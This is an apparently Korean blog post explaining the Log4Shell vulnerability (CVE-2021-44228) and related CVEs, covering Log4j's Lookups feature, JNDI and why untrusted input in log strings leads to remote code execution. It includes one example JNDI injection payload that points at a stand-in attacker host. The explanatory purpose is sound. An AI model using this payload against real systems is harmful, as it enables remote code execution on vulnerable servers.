0. 개요
12월 초 보안계를 떠들썩하게 한 취약점이 하나 있습니다. 바로 Log4j, 혹은 Log4Shell 취약점입니다. 구글, 애플, 테슬라, 마인크래프트같은 대기업부터 심지어 정부기관까지 본 취약점의 대상이라고 합니다.
취약점 등급 시스템인 CVSS(Common Vulnerability Scoring System)에서는 이 취약점(가장 먼저 발견된 취약점인 CVE-2021-44228)을 무려 10점 만점에 10점을 주었습니다. 이 글에서는 이 취약점이 왜 이렇게 큰 문제인지, 전반적으로 왜 발생하는 지에 대해서 알아보도록 하겠습니다.
기술적인 분석글 또한 작성중에 있습니다. 작성 후 링크를 추가하도록 하겠습니다.
1. 배경 지식
# Log4j?
Log4j에 대해서 먼저 알아보도록 합시다. Log4j는 Java기반의 어플리케이션에서 주로 사용되는 로깅(Logging) 패키지입니다. 즉 서비스에 대하여 접속 기록 및 오류 등을 모두 기록해주는 것이 이 Log4j라는 패키지라는 것입니다.
특히 이 패키지의 경우 무려 Apache가 개발하였고, 게다가 오픈소스이기 때문에 굉장히 많은 대상의 서비스들이 본 취약점의 대상일 것으로 예상되고 있습니다. 안그래도 정말 널리 쓰이고 있는 Java라는 프로그램에서 정말 자주 쓰이는 패키지이기 때문에 이번 취약점이 수많은 기업들을 대상으로 하고 있는 것이죠.
# Log4j의 Lookups 기능과 JNDI
다음은 Log4j에 있는 Lookups기능입니다. 취약점을 trigger시킨 기능이라, 기본적인 설명이 있으면 좋을 것 같아 추가합니다. Lookups기능은 다음과 같이 공식 홈페이지에 소개되어있습니다.
Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface.
- https://logging.apache.org/log4j/2.x/manual/lookups.html
조금 어렵게 설명되어있는데, 단순히 로깅을 할 때 시스템 속성 값이나 변수의 형태로 기록이 필요할 때 사용됩니다. Lookups 기능은 다음과 같이 trigger됩니다.
//code
logger.info("This is test log for example of lookups - ${java:runtime}");
//실제 log에 기록되는 것
This is test log for example of lookups - Java(TM) SE Runtime Environment (build 11.0.13+10-LTS-370) from Oracle Corporation
Java
복사
그리고 마지막으로 JNDI에 대해서 알아보도록 합시다.
JNDI란 Java Naming and Directory Interface의 줄임말로, 디렉토리 서버에 접근하기 위해 사용하는 API입니다. 이 과정에 대해서 자세히 파고들지 않을 것이고, DNS 서버로 URL 호스트를 넘겨주고, 직접 IP주소를 받아올 수 있다는 점만 기억하고 넘어가도록 하겠습니다.
2. 이 취약점이 일어나는 이유
사실 Log4j로 인한 취약점은 Log4Shell 외로도 몇 가지가 있습니다. 간단히 정리하자면 다음과 같습니다.
•
CVE-2021-44228 : Log4Shell로 많이 알려진, Log4j의 취약점을 통한 RCE 취약점 (ver.2.0에서 ver.2.14.0 사이에서 발생)
•
CVE-2021-45046 : ver. 2.15.0에서 새롭게 발견. Log4j의 취약점을 통한 DoS 공격 생성
•
CVE-2021-45105 : ver. 2.16.0에서 새롭게 발견. 무한 재귀를 통한 Stack Overflow 취약점
이번 글에서는 첫 번째 CVE인 CVE-2021-44228를 기준으로 설명할 것이고, 추가적으로 발견된 CVE도 첫 번째 CVE를 기반으로 우회한 취약점들이라, 큰 맥락은 같다고 보시면 될 것 같습니다.
본 취약점은 유저 input에 대해서 신뢰했기 때문에 발생했습니다. 위에서 이야기했던 Lookups가 trigger되는 과정을 보면, 로그가 기록되는 string안에 Lookup을 위한 format이 있다면 서버가 알아서 Lookup을 진행하는 방식이었습니다. 따라서 애초에 로그가 기록되는 내용에 해당 format을 사용해 전송한다면, 취약점을 trigger할 수도 있지 않을까요?
이 내용이 기본적인 취약점 발생의 원인입니다. 쉬운 이해를 위해 예시 payload를 같이 보면서 설명을 하도록 하겠습니다.
${jndi:ldap://attacker.org:389/exploit}
Java
복사
다음과 같은 내용을 로그에 기록되도록 하면, 다음과 같은 일이 일어납니다.
이제 서비스에 따라 로그를 기록하는 모든 벡터가 어택 벡터가 될 수 있는 것이죠. 알려진 사례만 해도 메세지, userid, wifi 이름 등등 수많은 벡터들이 노출되어있음을 보여줬습니다. 더군다나 단순히 요청한 서버에 접속하는 것만이 아니라, 서버에 악의적인 코드가 심겨져있는 경우 이 코드가 실행될 위험까지 있습니다.
3. 결론
Log4Shell 취약점이 알려진 후 약 2주정도가 지났습니다. Apache는 서둘러 패치를 배포하고, 업데이트가 힘든 경우 추가적인 보안 조취를 취하는 가이드라인 등이 공유되고 있습니다. 그러나 새로운 패치를 통해서도 또다시 새로운 취약점이 발견되는 일이 반복되고 있습니다.
벌써 취약점이 발표된 지 2주가 넘어가는 시점임에도 불구하고 계속해서 관련된 소식이 들려오는 것을 보면, 정말 영향력이 큰 취약점이라는 것을 느낍니다. 오픈소스가 집단 지성의 산물이라고 자주 이야기되지만, 반면 오픈소스의 한계점도 느낄 수 있는 사건이었습니다. 빠른 시일 내에 사태가 수습되었으면 좋겠습니다.
Tags
#Log4j, #Log4Shell, #CVE-2021-44228, #Remote Code Execution
참고문헌